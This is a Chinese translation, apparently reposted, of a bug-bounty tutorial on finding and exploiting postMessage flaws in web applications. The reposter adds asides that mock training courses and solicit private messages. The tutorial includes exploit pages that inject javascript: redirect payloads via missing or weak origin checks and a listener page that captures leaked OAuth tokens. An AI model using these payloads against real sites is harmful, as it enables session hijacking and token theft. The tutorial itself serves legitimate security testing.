利用PostMessage漏洞:高级指南
利用PostMessage漏洞:高级指南
https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-postmessage-vulnerabilities
在培训班的课程里面你是学不到这么好的,可以去对比。这种良性对比会迫使培训班来反向模仿海外的高级培训,强化与迭代自身。垃圾就是垃圾,不要强行给自己标那么高的价格。不迭代就是在骗钱,其价格对不上市场价值。
未能正确验证消息来源或对跨域通信处理程序中的内容进行清理时,就会出现 PostMessage 漏洞。随着现代 Web 应用程序越来越依赖 postMessage API 进行跨域通信(无论是嵌入式组件、OAuth 流程、第三方集成还是基于 iframe 的组件),攻击面也在不断扩大。虽然 postMessage 允许在原本会被浏览器同源策略隔离的窗口之间进行合法的数据交换,但不安全的实现可能导致基于 DOM 的跨站脚本攻击 (XSS),在严重情况下甚至会导致信息泄露。
本文将探讨如何识别和利用现代 Web 应用程序中的 postMessage 漏洞,从基本的来源验证绕过到利用不安全消息处理程序的复杂 DOM XSS 链攻击。
PostMessage 是什么?
postMessage API 是一项浏览器功能,允许不同窗口上下文之间进行安全通信,即使它们不属于同一来源。该浏览器 API 最初是为了实现受控的跨域数据交换而引入的,因为它为 iframe、弹出窗口和已打开的窗口提供了一种相互发送消息的方式,而不会违反浏览器的同源策略。
当一个窗口使用 postMessage 发送消息时,接收窗口可以通过事件监听器监听这些消息。然后,接收窗口处理消息数据,并可以做出相应的响应或采取相应的行动。这种通信模式通常用于以下场景:
-
嵌入式组件和第三方集成,其中外部内容需要与父页面通信;
-
使用弹出窗口或重定向来处理用户身份验证的 OAuth、SSO 和其他身份验证流程(例如身份验证后需要发送的令牌或 Cookie);
-
用于嵌入式支付、结账表单或聊天组件等功能的跨域 iframe 通信。
同源策略 (SOP)
同源策略 (SOP) 是一项关键的浏览器安全机制,它防止来自不同源的脚本访问来自不同源的数据。源由协议、域名和端口的组合定义。
postMessage API 专门设计为该策略的一个受控例外,允许开发人员在需要时显式启用安全的跨源通信,前提是必须正确使用。
postMessage API 由两个主要部分组成:发送消息和接收消息。让我们分别分析这两个部分,以了解安全漏洞可能出现的地方。
使用 postMessage 发送消息
要发送消息,应用程序使用目标窗口引用上的 postMessage() 方法:
// Sending a message to an iframe
const iframe = document.getElementById('intigriti-frame');
iframe.contentWindow.postMessage({
message: 'Hello World!'
},
'https://intigriti.com'
);
该方法接受两个参数:消息数据(可以是任何 JavaScript 对象)和目标来源。目标来源参数对于安全性至关重要,它指定允许哪个来源接收消息。将其设置为 true 则允许任何来源接收消息,这在某些情况下可能很危险。postMessage *
使用事件监听器接收消息
为了接收消息,应用程序会为 event:message 设置一个事件监听器。
window.addEventListener('message', function(event) {
// Always validate the origin
if (event.origin !== 'http://trusted-origin') {
return;
}
// Process the message
const data = event.data;
console.log('Received message:', data);
});
当收到消息时,事件对象包含三个重要属性:
-
Event.data 包含发送方发送的实际消息数据,在我们的示例中,
{"message": "Hello World!"} -
Event.origin 指定发送者的来源(例如,https://intigriti.com)
-
Event.source 提供了对发送消息的窗口的引用
识别 PostMessage 漏洞
尽管基于 DOM 的漏洞通常更难识别,但我们可以检查现有的 JavaScript 代码。以下是三种在目标系统中发现 postMessage 实现的常用方法。
源代码审查
识别 postMessage 漏洞最彻底的方法是人工代码审查。首先在应用程序的 JavaScript 文件中搜索两个关键模式:
查找 postMessage 方法调用
postMessage(
或者你也可以反过来搜索消息事件监听器:
addEventListener('message',
找到消息事件监听器后,追踪数据从监听器到处理函数的流向。查找消息数据在危险的 DOM 接收器中使用而未经过适当验证的地方,例如,或者传递给其他 DOM 操作方法的地方。特别注意属性的验证方式(或是否进行了验证)。
event.data innerHTML eval() document.write() event.origin
现代应用程序为了优化网站流量,通常会压缩和混淆其 JavaScript 代码,这使得人工审查变得困难。为了解决这个问题,可以使用浏览器的开发者工具来格式化代码,或者利用旨在提高代码可读性的第三方服务。
手动分析 JavaScript 文件可能很困难。在我们的《面向黑客的 JavaScript 分析综合指南》中,我们列出了 JavaScript 文件中一些最常见的问题,包括一种查找 JavaScript 文件漏洞的方法。
《面向黑客的 JavaScript 分析综合指南》:https://www.intigriti.com/researchers/blog/hacking-tools/testing-javascript-files-for-bug-bounty-hunters
浏览器开发者控制台
您还可以使用浏览器内置的开发者工具来追踪 postMessage 调用。这种方法对于发现可能隐藏在第三方脚本或动态加载代码中的消息处理程序尤其有用。
要在 Chrome 或 Firefox 中监控 postMessage 事件:
打开浏览器的开发者工具(macOS 上按 F12,快捷键为 Option + Cmd + C)
导航至“源代码”标签页(Chrome)或“调试器”标签页(Firefox)
在右侧面板中,展开“全局监听器”
最后,展开 message 属性(如果看不到,请刷新页面)

您还可以为事件添加断点。这样,每当发送或接收 postMessage 事件时,调试器都会暂停执行,允许您检查消息数据、来源和源代码。您可以检查调用堆栈,准确了解消息的处理位置,并单步执行代码以识别潜在的漏洞。
DOMWindow.message

自动化工具
自动化工具将监听消息事件并检测全局 postMessage 调用。这样,即使面对更复杂的应用程序或多个目标,您也可以大规模地测试这些漏洞。
以下是一些免费的开源工具,可以帮助测试基于 DOM 的漏洞,包括 postMessage 漏洞。
Burp Suite DOM Invader
Burp Suite DOM Invader 是一款内置于 Burp Suite 嵌入式浏览器中的浏览器扩展程序,可自动检测基于 DOM 的漏洞,包括 postMessage 漏洞。DOM Invader 监控 postMessage 流量,识别消息处理程序,并通过向消息中注入 canary 值自动测试 XSS 漏洞。它会突出显示潜在的危险目标,并以可视化的方式呈现消息流。
Untrusted Types
Untrusted Types 是一款浏览器扩展程序,它通过实时监控危险的数据接收器来帮助识别 DOM XSS 漏洞。
启用后,它会跟踪从源(包括 postMessage 事件处理程序)到接收器的数据流,并在不受信任的数据到达危险位置时发出警报。
innerHTML
https://github.com/filedescriptor/untrusted-types
PostMessage-Tracker
postMessage-tracker 是一款专为监控和记录所有 postMessage 通信而设计的 Chrome 扩展程序。它可以捕获已发送和已接收的消息,显示消息来源,并允许您详细检查消息内容。对于包含多个 iframe 或窗口的应用程序,此工具尤其有助于了解完整的 postMessage 流程。
https://github.com/fransr/postMessage-tracker

利用 PostMessage 漏洞
PostMessage漏洞可能导致诸多问题,例如基于DOM的跨站脚本攻击和信息泄露。了解完整的应用程序上下文,从而掌握如何利用此类漏洞,至关重要。让我们来看看最常见的PostMessage漏洞。
postMessage 监听器中没有来源验证
开发者在实现 postMessage 监听器时,需要验证每个传入 Web 消息的来源,以确保接收到的数据来自预期的来源。如果缺少此检查,攻击者实际上可以从任何来源发送数据。真正的问题在于,如果未经充分验证就对格式错误的数据进行进一步评估,将会造成严重后果。
请看以下代码片段:
未进行来源验证的 PostMessage 监听器已传递给 DOM 接收器。

在第 20 行,我们可以看到定义了一个 postMessage 监听器,用于拦截所有传入的 Web 消息。仔细观察可以发现,这是身份验证组件的一部分。此外,我们还可以注意到 postMessage 实现所期望的数据对象包含了属性。【此处为人工精准翻译:Additionally, we can also notice that the data object the postMessage implementation expects includes the , and properties.】想速成这种牛逼的英语阅读能力吗?叔帮你减压阅读能力,私聊叔即可。
success token redirect_url
进一步检查代码片段,我们还可以看到,来自 Web 消息的其中一个属性在第 31 行传递给了 DOM 接收器。
location.href
完成整个攻击链后,我们可以精心构造有效载荷并将其托管在我们控制的域名上,从而利用这种基于 DOM 的跨站脚本漏洞:【回到标题,你发现postMessage 监听器中没有来源验证,所以随便发送一个postMessage钓鱼链接就能理解这种漏洞】
<!DOCTYPE html>
<html>
<head>
<title>Complete Your Sign In</title>
</head>
<body>
<h2>Redirecting you back to the application...</h2>
<!-- https://app.example.com/oauth/callback represents the vulnerable endpoint -->
<iframe id="target" src="https://app.example.com/oauth/callback" style="display:none;"></iframe>
<script>
window.onload = function() {
const targetFrame = document.getElementById('target');
setTimeout(() => {
targetFrame.contentWindow.postMessage({
type: 'oauth_callback',
success: true,
token: 'sample token',
return_url: 'javascript:alert(document.domain)'
}, '*');
}, 1500);
};
</script>
</body>
</html>
postMessage 监听器中的来源验证较弱
虽然一些开发者实现了某种形式的来源验证,但弱正则表达式模式或不正确的字符串匹配常常会导致这些检查失效,这与某些 CORS 或 SSRF 攻击的产生方式类似。请参考以下示例:

在第 15 行,我们可以注意到源验证是通过一个有缺陷的正则表达式模式(叔帮你减压:能否理解正则不是重点,不需要为此烦恼,更不需要去假装努力的学一下正则语法,AI一把梭的解读即可。)完成的。该模式仅检查主机名是否以受信任的源名称开头。实际上,这意味着我们可以从受控主机发送一个与该正则表达式匹配的 postMessage,例如:payments.example.com.intigriti.io
// Attacker sets up his payload on a domain such as "payments.example.com.intigriti.io"
// The regex /^https:\/\/payments\.example\.com/ will match this domain
// Attacker's exploit page:
const payload = {
status: 'completed',
message: 'Purchase finalized!',
redirect_url: 'javascript:alert(document.cookie)'
};
window.opener.postMessage(payload, '*');
与之前类似,这会导致我们发送格式错误的数据,并可能利用基于 DOM 的 XSS 漏洞。由于缺乏适当的测试,导致正则表达式模式匹配不足而造成的配置错误往往是造成的。
通过带有通配符来源的 postMessage 调用泄露信息。
除了从不受信任的来源发送格式错误的数据外,在某些情况下,我们还可以读取已传输的 Web 消息。如前所述,调用 postMessage 方法时,需要提供两个参数:要发送的数据消息和接收方的来源。
通过深入研究 MDN 文档,我们可以了解到,可以使用通配符作为参数值传递。开发人员有时会出于测试目的或不确定接收窗口的文档位置而使用通配符配置。*targetOrigin*
https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
请查看以下代码示例:
使用带有通配符来源的 postMessage 调用泄露 OAuth 回调令牌

通过查看上面的代码片段,我们可以注意到第 27 行定义了一个 postMessage 调用,作为 OAuth 实现的一部分。此外,我们还可以注意到 postMessage 数据包含 OAuth 令牌,该令牌稍后会在到达父窗口后被交换为会话令牌。
此实现的主要问题在于使用了通配符配置。由于目标源从未被显式定义,攻击者实际上可以托管一个存在漏洞的网页,并在其中设置一个全局 postMessage 监听器来获取 OAuth 令牌。*
<!DOCTYPE html>
<html>
<head>
<title>Signing in...</title>
</head>
<body>
<h1>Please keep this tab opened while we're signing you into your account...</h1>
<button onclick="initiateOAuth()">Sign In</button>
<script>
window.addEventListener('message', function(event) {
if (event.data.type === 'oauth_callback') {
console.log('Token fetched!', event.data.token);
}
});
function initiateOAuth() {
window.open('https://auth.example.com/authorize?client_id=1337&redirect_uri=https://app.example.com/callback', 'test');
}
</script>
</body>
</html>
报告 PostMessage 漏洞
在漏洞赏金计划中,仅识别出未造成实际影响的 postMessage 实现通常不值得报告。您需要将发现与实际的漏洞利用案例联系起来,例如基于 DOM 的漏洞、信息泄露或应用内拒绝服务攻击,以证明其在现实世界中的影响。大多数计划不会接受关于缺少来源验证或通配符目标的独立漏洞报告,除非有概念验证来展示攻击者如何实际利用这些漏洞。
然而,在渗透测试项目中,情况可能有所不同。即使没有完全利用这些漏洞,识别出不安全的 postMessage 处理程序也可以作为安全漏洞记录下来,因为它们代表着未来需要修复的安全风险。
结论
PostMessage 漏洞在现代 Web 应用中可能构成巨大的攻击面,但由于其客户端特性以及识别它们需要手动分析,因此往往难以被发现。一旦被利用,不安全的 postMessage 处理程序可能导致基于 DOM 的跨站脚本攻击 (XSS)、信息泄露、身份验证绕过以及其他严重缺陷,从而危及组织及其用户的安全。
现在,您刚刚了解了如何利用 postMessage 漏洞……是时候检验您的技能了!您可以先在漏洞实验室和 CTF 比赛中进行练习,或者……浏览我们在 Intigriti 上提供的 70 多个公开漏洞赏金计划,说不定下次提交就能获得赏金!

浙公网安备 33010602011771号